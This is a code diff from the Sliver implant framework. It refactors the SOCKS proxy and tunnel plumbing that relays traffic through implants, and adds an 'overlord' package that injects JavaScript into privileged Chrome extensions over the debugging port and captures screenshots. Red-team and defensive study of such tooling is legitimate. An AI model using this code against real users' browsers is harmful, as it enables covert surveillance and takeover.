+		return nil, errors.New(portfwdResp.Response.Err)
+	}
 	log.Printf("Portfwd response: %v", portfwdResp)

 	return tunnel, nil
@@ -219,7 +247,7 @@ func (p *ChannelProxy) dialTimeout() time.Duration {
 	return 30 * time.Second
 }

-func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
+func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
 	if wc, ok := conn.(*tcpproxy.Conn); ok && len(wc.Peeked) > 0 {
 		if _, err := tunnel.Write(wc.Peeked); err != nil {
 			errs <- err
@@ -232,7 +260,7 @@ func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
 	errs <- err
 }

-func fromImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
+func fromImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
 	n, err := io.Copy(conn, tunnel)
 	log.Printf("[tcpproxy] Closing from-implant after %d byte(s)", n)
 	errs <- err
@@ -20,11 +20,10 @@ package core

 import (
 	"context"
-	"fmt"
-	"io"
 	"log"
 	"net"
 	"sync"
+	"sync/atomic"
 	"time"

 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -37,16 +36,16 @@ import (
 var (
 	// SocksProxies - Struct instance that holds all the portfwds
 	SocksProxies = socksProxy{
-		tcpProxies: map[int]*SocksProxy{},
+		tcpProxies: map[uint64]*SocksProxy{},
 		mutex:      &sync.RWMutex{},
 	}
 	SocksConnPool = sync.Map{}
-	SocksProxyID  = 0
+	SocksProxyID  = (uint64)(0)
 )

 // PortfwdMeta - Metadata about a portfwd listener
 type SocksProxyMeta struct {
-	ID        int
+	ID        uint64
 	SessionID string
 	BindAddr  string
 	Username  string
@@ -60,14 +59,28 @@ type TcpProxy struct {
 	Password        string
 	BindAddr        string
 	Listener        net.Listener
-	stopChan        bool
 	KeepAlivePeriod time.Duration
 	DialTimeout     time.Duration
 }

+func (tcp *TcpProxy) Stop() error {
+	err := tcp.Listener.Close()
+
+	// Closing all connections in pool
+	SocksConnPool.Range(func(key, value interface{}) bool {
+		con := value.(net.Conn)
+
+		con.Close()
+
+		return err == nil
+	})
+
+	return err
+}
+
 // SocksProxy - Tracks portfwd<->tcpproxy
 type SocksProxy struct {
-	ID           int
+	ID           uint64
 	ChannelProxy *TcpProxy
 }

@@ -83,7 +96,7 @@ func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
 }

 type socksProxy struct {
-	tcpProxies map[int]*SocksProxy
+	tcpProxies map[uint64]*SocksProxy
 	mutex      *sync.RWMutex
 }

@@ -91,6 +104,7 @@ type socksProxy struct {
 func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
 	f.mutex.Lock()
 	defer f.mutex.Unlock()
+
 	Sockser := &SocksProxy{
 		ID:           nextSocksProxyID(),
 		ChannelProxy: tcpProxy,
@@ -101,49 +115,56 @@ func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
 }

 func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
-	proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
+	ctx, cancel := context.WithCancel(context.Background())
+	proxy, err := tcpProxy.Rpc.SocksProxy(ctx)
+	defer cancel()
+
 	if err != nil {
 		return err
 	}
 	go func() {
-		for !tcpProxy.stopChan {
+		for {
 			FromImplantSequence := 0
-			p, err := proxy.Recv()
+			socksData, err := proxy.Recv()
 			if err != nil {
+				log.Printf("Failed to Recv from proxy, %s\n", err)
 				return
 			}

-			if v, ok := SocksConnPool.Load(p.TunnelID); ok {
-				n := v.(net.Conn)
-				if p.CloseConn {
-					n.Close()
-					SocksConnPool.Delete(p.TunnelID)
+			if v, ok := SocksConnPool.Load(socksData.TunnelID); ok {
+				conn := v.(net.Conn)
+
+				if socksData.CloseConn {
+					conn.Close()
+					SocksConnPool.Delete(socksData.TunnelID)
 					continue
 				}
-				log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
+				log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data))
 				//fmt.Printf("recv data len %d \n", len(p.Data))
-				_, err := n.Write(p.Data)
+				_, err := conn.Write(socksData.Data)
 				if err != nil {
+					log.Printf("Failed to write data to proxy connection, %s\n", err)
 					continue
 				}
 				FromImplantSequence++
 			}
 		}
 	}()
-	for !tcpProxy.stopChan {
-		l, err := tcpProxy.Listener.Accept()
+	for {
+		connection, err := tcpProxy.Listener.Accept()
 		if err != nil {
-			return err
+			log.Printf("Failed to accept new listener, probably already closed: %s\n", err)
+			break
 		}
 		rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
 			SessionID: tcpProxy.Session.ID,
 		})
 		if err != nil {
-			fmt.Println(err)
-			return err
+			log.Printf("Failed rcp call to create socks %s\n", err)
+			break
 		}

-		go connect(l, proxy, &sliverpb.SocksData{
+		go connect(connection, proxy, &sliverpb.SocksData{
 			Username: tcpProxy.Username,
 			Password: tcpProxy.Password,
 			TunnelID: rpcSocks.TunnelID,
@@ -151,17 +172,18 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
 		})
 	}
 	log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
-	tcpProxy.Listener.Close()
+	tcpProxy.Stop() // well, at this moment we already in stop state, but anyway
 	proxy.CloseSend()
 	return nil
 }

 // Remove - Remove a TCP proxy instance
-func (f *socksProxy) Remove(socksId int) bool {
+func (f *socksProxy) Remove(socksId uint64) bool {
 	f.mutex.Lock()
 	defer f.mutex.Unlock()
+
 	if _, ok := f.tcpProxies[socksId]; ok {
-		f.tcpProxies[socksId].ChannelProxy.stopChan = true
+		f.tcpProxies[socksId].ChannelProxy.Stop()
 		delete(f.tcpProxies, socksId)
 		return true
 	}
@@ -179,9 +201,8 @@ func (f *socksProxy) List() []*SocksProxyMeta {
 	return socksProxy
 }

-func nextSocksProxyID() int {
-	SocksProxyID++
-	return SocksProxyID
+func nextSocksProxyID() uint64 {
+	return atomic.AddUint64(&SocksProxyID, 1)
 }

 const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
@@ -192,6 +213,19 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv

 	SocksConnPool.Store(frame.TunnelID, conn)

+	defer func() {
+		// It's neccessary to close and remove connection once we done with it
+		c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID)
+		if !ok {
+			return
+		}
+		conn := c.(net.Conn)
+
+		conn.Close()
+
+		log.Printf("[socks] connection closed")
+	}()
+
 	log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())

 	buff := leakyBuf.Get()
@@ -199,11 +233,12 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 	var ToImplantSequence uint64 = 0
 	for {
 		n, err := conn.Read(buff)
+
 		if err != nil {
-			if err == io.EOF {
-				return
-			}
-			continue
+			log.Printf("[socks] (User to Client) failed to read data, %s ", err)
+			// Error basically means that the connection is closed(EOF) OR deadline exceeded
+			// In any of that cases, it's better to just giveup
+			return
 		}
 		if n > 0 {
 			frame.Data = buff[:n]
@@ -211,6 +246,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 			log.Printf("[socks] (User to Client) to Server to agent  Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
 			err := stream.Send(frame)
 			if err != nil {
+				log.Printf("[socks] (User to Client) failed to send data, %s ", err)
 				return
 			}
 			ToImplantSequence++
@@ -1,130 +1,54 @@
 package core

+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
-	"bytes"
 	"context"
 	"io"
 	"log"
-	"sync"

 	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )

-var (
-	// Tunnels - Holds refs to all tunnels
-	Tunnels tunnels
-)
-
-// Holds the tunnels locally so we can map incoming data
-// messages to the tunnel
-type tunnels struct {
-	tunnels *map[uint64]*Tunnel
-	mutex   *sync.RWMutex
-	stream  rpcpb.SliverRPC_TunnelDataClient
-}
-
-// Get - Get a tunnel
-func (t *tunnels) Get(tunnelID uint64) *Tunnel {
-	t.mutex.RLock()
-	defer t.mutex.RUnlock()
-	return (*t.tunnels)[tunnelID]
-}
-
-// Start - Add a tunnel to the core mapper
-func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
-	t.mutex.Lock()
-	defer t.mutex.Unlock()
-	tunnel := &Tunnel{
-		ID:        tunnelID,
-		SessionID: sessionID,
-		Send:      make(chan []byte),
-		Recv:      make(chan []byte),
-	}
-	(*t.tunnels)[tunnelID] = tunnel
-	go func() {
-		tunnel.IsOpen = true
-		for data := range tunnel.Send {
-			log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
-			t.stream.Send(&sliverpb.TunnelData{
-				TunnelID:  tunnel.ID,
-				SessionID: tunnel.SessionID,
-				Data:      data,
-			})
-		}
-	}()
-	tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
-	return tunnel
-}
-
-// Close - Close the tunnel channels
-func (t *tunnels) Close(tunnelID uint64) {
-	log.Printf("Closing tunnel %d", tunnelID)
-	t.mutex.Lock()
-	defer t.mutex.Unlock()
-	tunnel := (*t.tunnels)[tunnelID]
-	if tunnel != nil {
-		delete((*t.tunnels), tunnelID)
-		tunnel.IsOpen = false
-		close(tunnel.Recv)
-		close(tunnel.Send)
-	}
-}
-
-// Tunnel - Duplex data tunnel
-type Tunnel struct {
-	ID        uint64
-	IsOpen    bool
-	SessionID string
-
-	Send chan []byte
-	Recv chan []byte
-}
-
-// Write - Writer method for interface
-func (tun *Tunnel) Write(data []byte) (int, error) {
-	log.Printf("Write %d bytes", len(data))
-	if !tun.IsOpen {
-		return 0, io.EOF
-	}
-	tun.Send <- data
-	n := len(data)
-	return n, nil
-}
-
-// Read - Reader method for interface
-func (tun *Tunnel) Read(data []byte) (int, error) {
-	var buff bytes.Buffer
-	if !tun.IsOpen {
-		log.Printf("Warning: Read on closed tunnel %d", tun.ID)
-		return 0, io.EOF
-	}
-	recvData := <-tun.Recv
-	log.Printf("Read %d bytes", len(recvData))
-	buff.Write(recvData)
-	n := copy(data, buff.Bytes())
-	return n, nil
-}
-
 // TunnelLoop - Parses incoming tunnel messages and distributes them
 //              to session/tunnel objects
+// 				Expected to be called only once during initialization
 func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
 	log.Println("Starting tunnel data loop ...")
 	defer log.Printf("Warning: TunnelLoop exited")
-	stream, err := rpc.TunnelData(context.Background())
+
+	ctx, cancel := context.WithCancel(context.Background())
+	stream, err := rpc.TunnelData(ctx)
+	defer cancel()
+
 	if err != nil {
 		return err
 	}
-	Tunnels = tunnels{
-		tunnels: &map[uint64]*Tunnel{},
-		mutex:   &sync.RWMutex{},
-		stream:  stream,
-	}
-	for {

-		// log.Printf("Waiting for TunnelData ...")
+	GetTunnels().SetStream(stream)
+
+	for {
+		log.Printf("Waiting for TunnelData ...")
 		incoming, err := stream.Recv()
-		// log.Printf("Recv stream msg: %v", incoming)
+		log.Printf("Recv stream msg: %v", incoming)
+		log.Printf("Recv stream err: %s", err)
+
 		if err == io.EOF {
 			log.Printf("EOF Error: Tunnel data stream closed")
 			return nil
@@ -133,16 +57,24 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
 			log.Printf("Tunnel data read error: %s", err)
 			return err
 		}
-		// log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
-		tunnel := Tunnels.Get(incoming.TunnelID)
+		log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
+		tunnel := GetTunnels().Get(incoming.TunnelID)
+
 		if tunnel != nil {
+			data := incoming.GetData()
+
+			log.Printf("This is data on tunnel %d: %s", tunnel.ID, data)
+
 			if !incoming.Closed {
 				log.Printf("Received data on tunnel %d", tunnel.ID)
-				tunnel.Recv <- incoming.GetData()
+				err = tunnel.RecvData(data)
+
+				if err != nil {
+					log.Printf("Warning! Error sending data to tunnel %d, %v", tunnel.ID, err)
+				}
 			} else {
 				log.Printf("Closing tunnel %d", tunnel.ID)
-				tunnel.IsOpen = false
-				close(tunnel.Recv)
+				GetTunnels().Close(tunnel.ID)
 			}
 		} else {
 			log.Printf("Received tunnel data for non-existent tunnel id %d", incoming.TunnelID)
@@ -0,0 +1,146 @@
+package core
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"errors"
+	"io"
+	"log"
+	"sync"
+)
+
+// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter
+type TunnelIO struct {
+	ID        uint64
+	SessionID string
+
+	Send chan []byte
+	Recv chan []byte
+
+	isOpen bool
+	mutex  *sync.RWMutex
+}
+
+// NewTunnelIO - Single entry point for creating instance of new TunnelIO
+func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO {
+	log.Printf("New tunnel!: %d", tunnelID)
+
+	return &TunnelIO{
+		ID:        tunnelID,
+		SessionID: sessionID,
+		Send:      make(chan []byte),
+		Recv:      make(chan []byte),
+		isOpen:    false,
+		mutex:     &sync.RWMutex{},
+	}
+}
+
+// Write - Writer method for interface
+func (tun *TunnelIO) Write(data []byte) (int, error) {
+	if !tun.IsOpen() {
+		log.Printf("Warning: Write on closed tunnel %d", tun.ID)
+		return 0, io.EOF
+	}
+
+	// This is necessary to avoid any race conditions on thay byte array
+	dataCopy := make([]byte, len(data))
+	n := copy(dataCopy, data)
+
+	log.Printf("Write %d bytes", n)
+	log.Printf("This bytes is: %s", dataCopy)
+
+	tun.Send <- dataCopy
+
+	return n, nil
+}
+
+// Read - Reader method for interface
+func (tun *TunnelIO) Read(data []byte) (int, error) {
+	recvData, ok := <-tun.Recv
+	if !ok {
+		log.Printf("Warning: Read on closed tunnel %d", tun.ID)
+		return 0, io.EOF
+	}
+
+	var buff bytes.Buffer
+	log.Printf("Read %d bytes", len(recvData))
+	buff.Write(recvData)
+
+	n := copy(data, buff.Bytes())
+	return n, nil
+}
+
+// Close - Close tunnel IO operations
+func (tun *TunnelIO) Close() error {
+	tun.mutex.Lock()
+	defer tun.mutex.Unlock()
+
+	if !tun.isOpen {
+		log.Printf("Warning: Close on closed tunnel %d", tun.ID)
+
+		// I guess we can ignore it and don't return any error
+		return nil
+	}
+
+	log.Printf("Close tunnel %d", tun.ID)
+
+	tun.isOpen = false
+
+	close(tun.Recv)
+	close(tun.Send)
+
+	return nil
+}
+
+func (tun *TunnelIO) IsOpen() bool {
+	tun.mutex.RLock()
+	defer tun.mutex.RUnlock()
+
+	return tun.isOpen
+}
+
+func (tun *TunnelIO) Open() error {
+	tun.mutex.Lock()
+	defer tun.mutex.Unlock()
+
+	if tun.isOpen {
+		return errors.New("tunnel relady in open state")
+	}
+
+	log.Printf("Open tunnel %d", tun.ID)
+
+	tun.isOpen = true
+
+	return nil
+}
+
+// RecvData - safe way to send data to internal Recv channel. Blocking.
+func (tun *TunnelIO) RecvData(data []byte) error {
+	tun.mutex.Lock()
+	defer tun.mutex.Unlock()
+
+	if !tun.isOpen {
+		return errors.New("closed tunnel")
+	}
+
+	tun.Recv <- data
+
+	return nil
+}
@@ -0,0 +1,162 @@
+package core
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"log"
+	"sync"
+
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+var (
+	// tunnelsStorage - Holds refs to all tunnels
+	tunnelsStorage *tunnels
+
+	tunnelsSingletonLock = &sync.Mutex{}
+)
+
+// GetTunnels - singleton function that returns or initializes all tunnels
+func GetTunnels() *tunnels {
+	tunnelsSingletonLock.Lock()
+	defer tunnelsSingletonLock.Unlock()
+
+	if tunnelsStorage == nil {
+		log.Println("Creating single instance of tunnels.")
+
+		tunnelsStorage = &tunnels{
+			tunnels:     &map[uint64]*TunnelIO{},
+			mutex:       &sync.RWMutex{},
+			streamMutex: &sync.Mutex{},
+		}
+	}
+
+	return tunnelsStorage
+}
+
+// Holds the tunnels locally so we can map incoming data
+// messages to the tunnel
+type tunnels struct {
+	tunnels     *map[uint64]*TunnelIO
+	mutex       *sync.RWMutex
+	streamMutex *sync.Mutex
+	stream      rpcpb.SliverRPC_TunnelDataClient
+}
+
+func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) {
+	t.streamMutex.Lock()
+	defer t.streamMutex.Unlock()
+
+	log.Printf("Set stream")
+
+	t.stream = stream
+}
+
+// Get - Get a tunnel
+func (t *tunnels) Get(tunnelID uint64) *TunnelIO {
+	t.mutex.RLock()
+	defer t.mutex.RUnlock()
+
+	log.Printf("Get tunnel %d", tunnelID)
+
+	return (*t.tunnels)[tunnelID]
+}
+
+// send - safe way to send a message to the stream
+// protobuf stream allow only one writer at a time, so just in case there is a mutex for it
+func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error {
+	t.streamMutex.Lock()
+	defer t.streamMutex.Unlock()
+
+	if t.stream == nil {
+		return errors.New("uninitizlied stream")
+	}
+
+	log.Printf("Private send to stream, tunnelId: %d", tunnelData.TunnelID)
+
+	return t.stream.Send(tunnelData)
+}
+
+// Start - Add a tunnel to the core mapper
+func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO {
+	t.mutex.Lock()
+	defer t.mutex.Unlock()
+
+	tunnel := NewTunnelIO(tunnelID, sessionID)
+
+	(*t.tunnels)[tunnelID] = tunnel
+
+	go func(tunnel *TunnelIO) {
+		tunnel.Open()
+		log.Printf("Tunnel now is open, %d", tunnelID)
+
+		for data := range tunnel.Send {
+			log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
+
+			err := t.send(&sliverpb.TunnelData{
+				TunnelID:  tunnel.ID,
+				SessionID: tunnel.SessionID,
+				Data:      data,
+			})
+
+			if err != nil {
+				log.Printf("Error sending, %s", err)
+			}
+		}
+
+		log.Printf("Tunnel Send channel looks closed now. %d", tunnelID)
+	}(tunnel)
+
+	tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
+	return tunnel
+}
+
+// Close - Close the tunnel channels
+func (t *tunnels) Close(tunnelID uint64) {
+	t.mutex.Lock()
+	defer t.mutex.Unlock()
+
+	log.Printf("Closing tunnel %d", tunnelID)
+
+	tunnel := (*t.tunnels)[tunnelID]
+
+	if tunnel != nil {
+		tunnel.Close()
+
+		delete((*t.tunnels), tunnelID)
+	}
+}
+
+// CloseForSession - closing all tunnels for specified session id
+func (t *tunnels) CloseForSession(sessionID string) {
+	t.mutex.RLock()
+	defer t.mutex.RUnlock()
+	log.Printf("Closing all tunnels for session %s", sessionID)
+
+	for tunnelID, tunnel := range *t.tunnels {
+		if tunnel.SessionID == sessionID {
+			// Weird way to avoid deadlocks but let it be
+			go func(tunnelID uint64) {
+				GetTunnels().Close(tunnelID)
+			}(tunnelID)
+		}
+	}
+}
@@ -85,6 +85,30 @@ POSSIBILITY OF SUCH DAMAGE.

 ======================================================================================================

+MIT License
+
+Copyright (c) 2019 Ege Balcı
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+======================================================================================================
+
 BSD 3-Clause License

 Copyright (c) 2018, b4rtik
@@ -0,0 +1,300 @@
+package overlord
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"log"
+	"net/http"
+	"net/url"
+
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/chromedp/cdproto/page"
+	"github.com/chromedp/cdproto/target"
+	"github.com/chromedp/chromedp"
+)
+
+const (
+	// AllURLs - All URLs permission
+	AllURLs = "<all_urls>"
+
+	// AllHTTP - All HTTP permission
+	AllHTTP = "http://*/*"
+
+	// AllHTTPS - All HTTP permission
+	AllHTTPS = "https://*/*"
+
+	// WebRequest - WebRequest permission
+	WebRequest = "webRequest"
+
+	// WebRequestBlocking - WebRequestBlocking permission
+	WebRequestBlocking = "webRequestBlocking"
+
+	// FetchManifestJS - Get extension manifest
+	FetchManifestJS = "(() => { return chrome.runtime.getManifest(); })()"
+)
+
+var (
+	// ErrTargetNotFound - Returned when a target cannot be found
+	ErrTargetNotFound = errors.New("Target not found")
+)
+
+// ManifestBackground - An extension manifest file
+type ManifestBackground struct {
+	Scripts    []string `json:"scripts"`
+	Persistent bool     `json:"persistent"`
+}
+
+// Manifest - An extension manifest file
+type Manifest struct {
+	Name            string             `json:"name"`
+	Version         string             `json:"version"`
+	Description     string             `json:"description"`
+	ManifestVersion int                `json:"manifest_version"`
+	Permissions     []string           `json:"permissions"`
+	Background      ManifestBackground `json:"background"`
+}
+
+// ChromeDebugTarget - A single debug context object
+type ChromeDebugTarget struct {
+	Description          string `json:"description"`
+	DevToolsFrontendURL  string `json:"devtoolsFrontendUrl"`
+	ID                   string `json:"id"`
+	Title                string `json:"title"`
+	Type                 string `json:"type"`
+	URL                  string `json:"url"`
+	WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
+}
+
+var allocCtx context.Context
+
+func getContextOptions(userHomeDir string, platform string) []func(*chromedp.ExecAllocator) {
+	opts := []func(*chromedp.ExecAllocator){
+		chromedp.Flag("restore-last-session", true),
+		chromedp.UserDataDir(userHomeDir),
+	}
+	switch platform {
+	case "darwin":
+		opts = append(opts,
+			chromedp.Flag("headless", false),
+			chromedp.Flag("use-mock-keychain", false),
+		)
+	default:
+		opts = append(opts, chromedp.Headless)
+	}
+	opts = append(chromedp.DefaultExecAllocatorOptions[:], opts...)
+	return opts
+}
+
+func GetChromeContext(webSocketURL string, curse *core.CursedProcess) (context.Context, context.CancelFunc, context.CancelFunc) {
+	var (
+		cancel context.CancelFunc
+	)
+	if webSocketURL != "" {
+		allocCtx, cancel = chromedp.NewRemoteAllocator(context.Background(), webSocketURL)
+	} else {
+		opts := getContextOptions(curse.ChromeUserDataDir, curse.Platform)
+		allocCtx, cancel = chromedp.NewExecAllocator(context.Background(), opts...)
+	}
+	taskCtx, taskCancel := chromedp.NewContext(allocCtx, chromedp.WithLogf(log.Printf))
+	return taskCtx, taskCancel, cancel
+}
+
+func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
+	targets, err := chromedp.Targets(ctx)
+	if err != nil {
+		return nil
+	}
+	for _, targetInfo := range targets {
+		if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
+			return targetInfo
+		}
+	}
+	return nil
+}
+
+func contains(haystack []string, needle string) bool {
+	set := make(map[string]struct{}, len(haystack))
+	for _, entry := range haystack {
+		set[entry] = struct{}{}
+	}
+	_, ok := set[needle]
+	return ok
+}
+
+func containsAll(haystack []string, needles []string) bool {
+	all := true
+	for _, needle := range needles {
+		if !contains(haystack, needle) {
+			all = false
+			break
+		}
+	}
+	return all
+}
+
+// ExecuteJS - injects a JavaScript code into a target
+func ExecuteJS(ctx context.Context, string, targetID string, jsCode string) ([]byte, error) {
+	targetInfo := findTargetInfoByID(ctx, targetID)
+	if targetInfo == nil {
+		return nil, ErrTargetNotFound
+	}
+	extCtx, _ := chromedp.NewContext(ctx, chromedp.WithTargetID(targetInfo.TargetID))
+	var result []byte
+	err := chromedp.Run(extCtx, chromedp.Evaluate(jsCode, &result))
+	return result, err
+}
+
+// FindExtensionWithPermissions - Find an extension with a permission
+func FindExtensionWithPermissions(curse *core.CursedProcess, permissions []string) (*ChromeDebugTarget, error) {
+	targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
+	if err != nil {
+		return nil, err
+	}
+	for _, target := range targets {
+		ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
+		result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
+		if err != nil {
+			continue
+		}
+		manifest := &Manifest{}
+		err = json.Unmarshal(result, manifest)
+		if err != nil {
+			continue
+		}
+		if containsAll(manifest.Permissions, permissions) {
+			return &target, nil
+		}
+	}
+	return nil, nil // No targets, no errors
+}
+
+// FindExtensionsWithPermissions - Find an extension with a permission
+func FindExtensionsWithPermissions(curse *core.CursedProcess, permissions []string) ([]*ChromeDebugTarget, error) {
+	targets, err := QueryExtensionDebugTargets(curse.DebugURL().String())
+	if err != nil {
+		return nil, err
+	}
+	extensions := []*ChromeDebugTarget{}
+	for _, target := range targets {
+		ctx, _, _ := GetChromeContext(target.WebSocketDebuggerURL, curse)
+		result, err := ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, FetchManifestJS)
+		if err != nil {
+			continue
+		}
+		manifest := &Manifest{}
+		err = json.Unmarshal(result, manifest)
+		if err != nil {
+			continue
+		}
+		if containsAll(manifest.Permissions, permissions) {
+			extensions = append(extensions, &target)
+		}
+	}
+	return extensions, nil
+}
+
+// QueryDebugTargets - Query debug listener using HTTP client
+func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
+	resp, err := http.Get(debugURL)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != 200 {
+		return nil, errors.New("Non-200 status code")
+	}
+	data, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, err
+	}
+	debugContexts := []ChromeDebugTarget{}
+	err = json.Unmarshal(data, &debugContexts)
+	return debugContexts, err
+}
+
+// QueryExtensionDebugTargets - Query debug listener using HTTP client for Extensions only
+func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
+	resp, err := http.Get(debugURL)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != 200 {
+		return nil, errors.New("Non-200 status code")
+	}
+	data, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return nil, err
+	}
+	debugContexts := []ChromeDebugTarget{}
+	err = json.Unmarshal(data, &debugContexts)
+	if err != nil {
+		return nil, err
+	}
+	extensionContexts := []ChromeDebugTarget{}
+	for _, debugCtx := range debugContexts {
+		ctxURL, err := url.Parse(debugCtx.URL)
+		if err != nil {
+			continue
+		}
+		if ctxURL.Scheme == "chrome-extension" {
+			extensionContexts = append(extensionContexts, debugCtx)
+		}
+	}
+	return extensionContexts, nil
+}
+
+// Screenshot - Take a screenshot of a Chrome context
+func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
+	var result []byte
+	screenshotTask := chromedp.Tasks{
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			_, _, _, _, _, contentSize, err := page.GetLayoutMetrics().Do(ctx)
+			if err != nil {
+				return err
+			}
+			result, err = page.CaptureScreenshot().
+				WithQuality(quality).
+				WithClip(&page.Viewport{
+					X:      contentSize.X,
+					Y:      contentSize.Y,
+					Width:  contentSize.Width,
+					Height: contentSize.Height,
+					Scale:  1,
+				}).Do(ctx)
+			if err != nil {
+				return err
